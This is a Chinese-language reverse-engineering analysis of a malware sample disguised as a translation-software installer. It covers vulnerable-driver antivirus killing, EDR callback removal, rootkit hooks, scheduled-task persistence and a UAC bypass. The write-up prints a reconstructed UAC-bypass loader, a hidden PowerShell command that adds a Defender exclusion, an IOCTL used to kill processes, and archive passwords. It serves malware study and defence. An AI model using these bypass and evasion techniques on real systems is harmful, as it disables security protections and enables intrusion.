(1)BYOVD技术关闭杀软进程实现方式
开源项目,已经被杀,可以再分析一下BdApiUtil64.sys驱动(√
(2)rwdriver.sys 实现的edr致盲方式
直接看开源代码就行(√
(3)对特定API函数HOOK来实现Rootkit技术的技术细节
YiFanyi_setup.exe

Inno Setup安装程序,有阿里的无效签名
InnoExtractor 提取一下文件

查看install_script可以知道程序安装路径是C:\ProgramData\WindowsData
释放的文件为

mainZTtRjTfyhNIDCAF.xml文件其实都是7z压缩包,运行样本,使用火绒剑抓一下行为
会在C:\ProgramData\WindowsData路径释放文件,释放的文件为

funzip.exe
因为mainZTtRjTfyhNIDCAF.xml为压缩包,所以怀疑funzip为解压工具,使用IDA简单看一眼

使用7zip源码构造的解压工具,使用火绒剑抓一下解压指令

"C:\ProgramData\WindowsData\funzip.exe" x -y -phtLcENyRFYwXsHFnUnqK -o"C:\ProgramData\WindowsData" "C:\ProgramData\WindowsData\mainZTtRjTfyhNIDCAF.xml"
找到解压密码:phtLcENyRFYwXsHFnUnqK

解压成功

成功释放了men.exe与setup.exe,其中setup为正常的翻译软件安装程序(整个样本运行结束会删除这些文件)
men.exe

有UPX壳,无签名

开源项目脱壳


**GetFileAttributesA **判断me.key文件是否存在,存在则使用cmd运行重新启用被禁用的网卡,然后退出

杀软列表解密

遍历快照然后获取系统中所有杀软的完整路径
释放tree并进行解压

释放tree.exe(本质是zip)

解密出C:/Users/Public/Documents/WindowsData/tree.exe路径,然后创建文件

释放tree.exe文件

解压释放的tree.exe,密码为Server8888


判断文件是否成功解压,同时遍历进程,查看是否存在指定杀软

释放edr并解压

与tree.exe释放方式一样,释放edr.key,然后对edr.key进行解压(密码依旧是Server8888),然后释放


检查是否成功释放Bypass.exe
运行bypass.exe

wdc.dll!WdcRunTaskAsInteractiveUser
#include <windows.h>
#include <iostream>
#include <string>
typedef HRESULT(WINAPI* PFN_WdcRunTaskAsInteractiveUser)(LPCWSTR executablePath, LPCWSTR arguments, UINT64 flags);
int main()
{
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
std::cerr << "[-] CoInitialize failed. Error: " << std::hex << hr << std::endl;
return 1;
}
HMODULE hWdc = LoadLibraryW(L"wdc.dll");
if (!hWdc) {
//std::cerr << "[-] Failed to load wdc.dll. Error: " << GetLastError() << std::endl;
CoUninitialize();
return 1;
}
const char* funcName = "WdcRunTaskAsInteractiveUser";
PFN_WdcRunTaskAsInteractiveUser WdcRunTask = (PFN_WdcRunTaskAsInteractiveUser)GetProcAddress(hWdc, funcName);
if (!WdcRunTask) {
/* std::cerr << "[-] Failed to find function: " << funcName << ". Error: " << GetLastError() << std::endl;*/
FreeLibrary(hWdc);
CoUninitialize();
return 1;
}
Sleep(1000);
LPCWSTR targetPath = L"C:\\Windows\\System32\\notepad.exe";
LPCWSTR targetArgs = NULL;
HRESULT callResult = WdcRunTask(targetPath, targetArgs, 0);
if (SUCCEEDED(callResult)) {
//std::cout << "[+] SUCCESS! The task should be running now." << std::endl;
}
else {
//std::cerr << "[-] Function call failed." << std::endl;
}
FreeLibrary(hWdc);
CoUninitialize();
std::cin.get();
return 0;
}
禁用网络适配器并运行NVIDIA.exe

遍历检查360,然后采用;ShellExecuteA运行cmd然后执行c wmic path win32_networkadapter where NetEnabled=FALSE call ena启用禁用的网络适配器
使用WinExec启动 NVIDIA.exe

释放me并解压,同时启动NtHandleCallback
释放并解压me.key,解压密码:killstartup
然后使用GetFileAttributesA判断NtHandleCallback.exe是否释放成功,然后使用WinExec启动NtHandleCallback.exe
然后使用COM接口对NtHandleCallback.exe进行持久化

stru_7FF6973A2750 (CLSID):{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
CLSID_TaskScheduler
stru_7FF6973A2740 (IID):{2FABA4C7-4DA9-4013-9697-20CC3FD40F85}
IID_ITaskService
设置计划任务作者:Microsoft Corporation
行为:LogonTrigger
路径:C:\Users\Public\Documents\WindowsData\NtHandleCallback.exe
Task Name: WindowsPowerShell.WbemScripting.SWbemLocator。
Flags: 6 (TASK_CREATE_OR_UPDATE)。
User/Group: S-1-5-32-544,这是本地管理员组。
LogonType: 4 (TASK_LOGON_GROUP)

注册rwdriver、并启动main.exe
注册驱动,启动驱动rwdriver

轮询,检查服务的状态码是否为 SERVICE_RUNNING (4),然后带参数1启动main.exe

删除衍生文件
通过DeleteFileA API强制删除杀软文件

通过SetFileAttributesA API对释放衍生物的文件夹及其文件修改属性进行隐藏

释放del.bat,用于清理自身释放的衍生物

Bypass.exe

无签名的可执行文件

有控制流平坦化,用deflat去一下ollvm

去除得不完全,但是能勉强看清代码逻辑
sub_14000F5C0

调用 ReadProcessMemory
sub_140009170

这个函数在不去除平坦化时能查看到一些CLSIDFromString,通过这个能大致看出这里是在进行利用ICMLuaUtil 接口实现UAC Bypass,出自UAC ME的第43项

const CLSID CLSID_CMSTPLUA = { 0x3E5FC7F9, 0x9A51, 0x4367, { 0x90, 0x63, 0xA1, 0x20, 0x24, 0x4F, 0xBE, 0xC7 } };
const IID IID_ICMLuaUtil = { 0x0A16D195, 0x6F47, 0x4964, { 0x92, 0x87, 0x9F, 0x4B, 0xAB, 0x6D, 0x98, 0x27 } };
class ICMLuaUtil : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_3() = 0;
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_4() = 0;
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_5() = 0;
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_6() = 0;
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_7() = 0;
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_8() = 0;
virtual HRESULT STDMETHODCALLTYPE UnknownMethod_9() = 0;
virtual HRESULT STDMETHODCALLTYPE SetRegistryStringValue(
HKEY hKey,
LPCWSTR lpSubKey,
LPCWSTR lpValueName,
LPCWSTR lpValueData
) = 0;
virtual HRESULT STDMETHODCALLTYPE ShellExec(
LPCWSTR lpFile,
LPCWSTR lpParameters,
LPCWSTR lpDirectory,
ULONG fMask,
ULONG nShow
) = 0;
};
void Deobfuscated_Payload_Loader()
{
HRESULT hr = S_OK;
ICMLuaUtil* pICMLuaUtil = nullptr;
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (FAILED(hr)) return;
hr = CoCreateInstance(CLSID_CMSTPLUA, NULL, CLSCTX_LOCAL_SERVER, IID_ICMLuaUtil, (void**)&pICMLuaUtil);
if (SUCCEEDED(hr) && pICMLuaUtil != nullptr)
{
const wchar_t* decryptedPayloadPath = L"C:\\Users\\Public\\Documents\\WindowsData\\NVIDIA.lnk";
hr = pICMLuaUtil->SetRegistryStringValue(
HKEY_LOCAL_MACHINE,
L"Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration",
L"DisplayCalibrator",
decryptedPayloadPath
);
if (SUCCEEDED(hr))
{
pICMLuaUtil->ShellExec(
L"DisplayCalibrator", /
NULL,
NULL,
0,
SW_SHOW
);
}
pICMLuaUtil->Release();
}
CoUninitialize();
}
整体Bypass.exe实现的效果为:创建一个NVIDIA.lnk然后使用Windows 颜色管理组件的 COM 接口漏洞 ,修改注册表,使得系统在执行高权限任务时,启动 NVIDIA 快捷方式

这个快捷方式正在启动的程序是KGseKKdKce.exe,也就是BdApiUtil64.sys的操作程序
NVIDIA.exe

进行了UPX加壳
使用IDA分析发现存在控制流平坦化


主要逻辑为释放驱动与遍历系统进程
sub_7FF6723B6010

释放的位置为:%Temp%,释放的驱动名称采用的是随机名称

解密需要释放的驱动,sub_7FF6723DA730函数会对释放的驱动注册为服务,以实现持久化
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<rand_name>
释放的驱动为:山东安在信息技术股份有限公司的Ping32产品的驱动程序


驱动释放成功之后会遍历系统进程判断是否存在指定的杀软进程,存在则通过BYOVD由释放的驱动实现关闭

BdApiUtil64.sys
百度杀毒使用的驱动程序,签名正常


定义了一个特定的 I/O 控制代码(IOCTL)0x800024B4,当用户模式的应用程序向驱动设备发送这个 IOCTL,并附带一个进程 ID (PID) 时,驱动程序不会进行验证,然后在内核模式下终止该 PID 对应的进程。
KGseKKdKce.exe
在样本中使用KGseKKdKce.exe对其进行利用,源于:https://github.com/BlackSnufkin/BYOVD/blob/main/BdApiUtil-Killer/src/main.rs
对KGseKKdKce进行了UPX打包

目标程序为国内一些常见杀软,其余部分与开源项目基本一致


大致逻辑为:遍历系统进程发现目标杀软进程就将其PID与IOCTL(0x800024B4)一起传到目标驱动
rwdriver.sys
rwdriver.sys使用泄露的“中兴通讯股份有限公司”过期签名
读写任意地址数据,进行拷贝覆盖,源自:
https://github.com/NanoWraith/rwdriver/tree/master/rwdriver



MmCopyVirtualMemory(
CurrentProcess, // 源进程
memOp->SourceAddress, // 源地址
CurrentProcess, // 目标进程
memOp->DestinationAddress, // 目标地址
memOp->Size, // 大小
KernelMode, // 权限模式
&bytesTransferred
);
MmCopyVirtualMemory 函数的第六个参数是 AccessMode:
- 如果传递 UserMode:Windows 内核会自动检查 SourceAddress 和 DestinationAddress。
- 如果传递 KernelMode:Windows 内核会信任调用者,认为这是一个系统内部操作,跳过所有安全检查
main.exe
使用程序为:main.exe,源于:https://github.com/NanoWraith/BlindEdr
Cm回调移除方法:

通过特征码进行查到找到目标回调时将 Head->Flink == Head,这样能直接让链表置空
Ob回调移除方法:

遍历找到 PsProcessType 和 PsThreadType 对象类型结构体在内核中的地址,然后遍历双链表存在目标回调则用0将其覆盖
进程\线程\基址回调移除方法:

直接将内核全局数组中的回调对象指针置空
Minifilter 回调移除:

遍历了 FLT_VOLUMES 列表如果属于目标edr的 Instance使用Unlink的方法实现回调移除
移除目标:

与源码一致,并未进行修改

NtHandleCallback.exe
这个样本的实现逻辑与这个样本一致:MD5:08cfaac200ed8052a63020f115c6a75a(这个样本的分析没有对字符串加密更为简单,下文统称为log.dll),这里使用log.dll进行对比分析

采用多线程的方式分别执行解密C2 、向Cndom6.sys发送控制码实现IAT HOOK、添加wdf白名单
StartAddress

读取之前释放的Server.log然后进行RC4解密,key为:??Bid@locale@std

解密成功之后,查找解密之后载荷的NtHandleCallback导出函数,对这个模块进行单独分析
主要是用于C2连接以及数据接收和发送


(v9[4])(v2, &Destination, v10)主要逻辑就是连接,然后接收线程、心跳线程

sub_7FF6CE484CB0
这里使用log.dll进行对比分析

对比到NtHandleCallback.exe中就是

判断系统中的进程分别获取NtHandleCallback、tracerpt、NVIDIA进程PID、然后通过特定驱动对这些进程进行操作
遍历判断系统中是否存在指定进程

清理服务之后保证系统环境干净,然后释放驱动,使用StartServiceA启动驱动,在驱动启动之后,立即进行删除(未锁定)

后续就是遍历得到目标进程的PID,然后通过DeviceIoControl 发送给指定驱动进行操作(后续的tracerpt、NVIDIA进程操作步骤类似,只需要注意的就是对tracerpt进程进行操作的驱动为XiaoH)
sub_7FF7EFEA4F50
使用"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents'"将C:\Users\Public\Documents路径添加到wdf白名单

sub_7FF7EFEA4220用于判断是否添加成功,失败则会一直循环添加,成功则退出

Cndom6.sys



判断系统时间是否超过2027-01-02,超过就退出运行

使用ZwSetInformationFile将文件FILE_BASIC_INFORMATION属性清零,同时将SectionObjectPointer清零(SECTION_OBJECT_POINTERS是文件对应的内存映射/节对象指针结构,若文件加载到某个进程,或者被映射为内存映像,会有 ImageSectionObject 指向映像的节对象),调用 MmFlushImageSection 会尝试把文件对应的内存映射从物理内存或页面映射中清空,从而解除对文件的占用
sub_14000309C函数用于接收用户发送的IOCTL,在NtHandleCallback的分析中发现发送的IOCTL为:0x222180

0x222180是将byte_1400D3669的全局变量置1,应该是后续执行操作的"开关"

进入sub_140001944

sub_1400022A4函数就是判断当前系统版本,然后选择合适的offset
sub_140001F60函数主要是获取NtTraceControl、KeQueryPerformanceCounter、NtQuerySystemInformation、NtOpenProcess、NtOpenThread函数地址,以及通过NtTraceControl定位ntoskrnl.exe基址


qword_1400D35C8 =NtTraceControl address

成功定位到ntkrnlmp

sub_140001CB0函数通过特征码寻找KiSystemServiceExitPico


后续是通过KiSystemServiceExitPico寻找win32k.sys

然后 利用 KeQueryPerformanceCounter 地址寻找 HAL.dll 或 ntoskrnl


sub_140001A18函数用于寻找GetCpuClock指针


sub_140002880函数主要用于遍历SSDT表



csrss.exe进程拥有 Shadow SSDT


sub_1400035C8函数为创建系统线程,sub_1400035C8函数负责HOOK


HOOK分发函数,主要HOOK了NtQuerySystemInformation、NtOpenProcess、NtReadVirtualMemory
针对于NtQuerySystemInformation,判断是否为保护名单中的程序,如果是则进行Unlink操作,然后达到隐藏进程的目的


处于Unlink函数,查看白名单为空,查看需要隐藏的进程为0x00001960(就是NtHandleCallback.exe的PID)
Unlink的结构体为
typedef struct _SYSTEM_PROCESS_INFORMATION_REVERSED {
// Dump: 00003340
ULONG NextEntryOffset; // [Offset: +0x00]
ULONG NumberOfThreads; // [Offset: +0x04]
LARGE_INTEGER WorkingSetPrivateSize; // [Offset: +0x08]
// [Offset: +0x10]
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
// [Offset: +0x18]
ULONGLONG CycleTime;
// [Offset: +0x20]
LARGE_INTEGER CreateTime;
// [Offset: +0x28]
LARGE_INTEGER UserTime;
// [Offset: +0x30]
LARGE_INTEGER KernelTime;
// [Offset: +0x38]
UNICODE_STRING ImageName;
// [Offset: +0x48]
KPRIORITY BasePriority;
// [Offset: +0x50]
HANDLE UniqueProcessId;
// [Offset: +0x58]
HANDLE InheritedFromUniqueProcessId;
// [Offset: +0x60]
ULONG HandleCount;
//…………………………
} SYSTEM_PROCESS_INFORMATION_REVERSED, *PSYSTEM_PROCESS_INFORMATION_REVERSED;
1: kd> dps r9
000001ff`82755ac8 00000002`00000328
000001ff`82755ad0 00000000`0003f000
000001ff`82755ad8 00000004`0000008c
000001ff`82755ae0 00000000`35468991
000001ff`82755ae8 01dc6f2a`ff7df2a3
000001ff`82755af0 00000000`0002625a
000001ff`82755af8 00000000`000bebc2
000001ff`82755b00 00000000`00180010
000001ff`82755b08 000001ff`82755dd8
000001ff`82755b10 00000000`0000000b
000001ff`82755b18 00000000`0000015c
000001ff`82755b20 00000000`00000004
000001ff`82755b28 00000000`00000035
000001ff`82755b30 00000000`00000000
000001ff`82755b38 00000201`03117000
000001ff`82755b40 00000201`028ab000
1: kd> r r9
r9=000001ff82755ac8
1: kd> dps 000001ff82755ac8+0x328
000001ff`82755df0 0000000c`00000648
000001ff`82755df8 00000000`000da000
000001ff`82755e00 0000000f`000000fd
000001ff`82755e08 00000000`5854e8df
000001ff`82755e10 01dc6f2b`002c11d1
000001ff`82755e18 00000000`0007270e
000001ff`82755e20 00000000`002aea54
000001ff`82755e28 00000000`00180012
000001ff`82755e30 000001ff`82756420
000001ff`82755e38 00000000`0000000d
000001ff`82755e40 00000000`000001dc
000001ff`82755e48 00000000`000001d0
000001ff`82755e50 00000000`0000022c
000001ff`82755e58 00000000`00000000
000001ff`82755e60 00000201`05f33000
000001ff`82755e68 00000201`05e74000
1: kd> du 000001ff82755dd8
000001ff`82755dd8 "smss.exe"
1: kd> dps 000001ff82755b08 l1
000001ff`82755b08 000001ff`82755dd8
1: kd> du 000001ff`82756420
000001ff`82756420 "csrss.exe"
目标进程

针对NtOpenProcess,判断是否为保护进程(也就是从用户端通过IOCTL传入的进程PID),如果为保护进程则返回错误码,从而防止其他进程访问该进程的句柄

针对NtReadVirtualMemory,判断是否为保护进程,如果是保护进程则返回错误码,从而防止保护进程的句柄被复制

XiaoH.sys




sub_140001514函数用于寻找nsiproxy基址

针对nsiproxy.sys系统驱动文件,获取其驱动对象对IRP_MJ_DEVICE_CONTROL进行HOOK
nsiproxy.sys 是 Windows 内核里的一个 网络服务代理驱动

遍历网络连接表,判断是否为目标PID

typedef struct _NSI_TCP_SUBENTRY {
// 0x00
unsigned int State;
// 0x04
unsigned int LocalAddress;
// 0x08
unsigned short LocalPort;
// 0x0A
unsigned short RemotePort;
// 0x0C:
unsigned int RemoteAddress;
unsigned int Unknown1;
unsigned long long Unknown2;
unsigned long long Timestamp;
unsigned long long Unknown3;
unsigned long long Unknown4;
unsigned int Unknown5;
} NSI_TCP_SUBENTRY, *PNSI_TCP_SUBENTRY;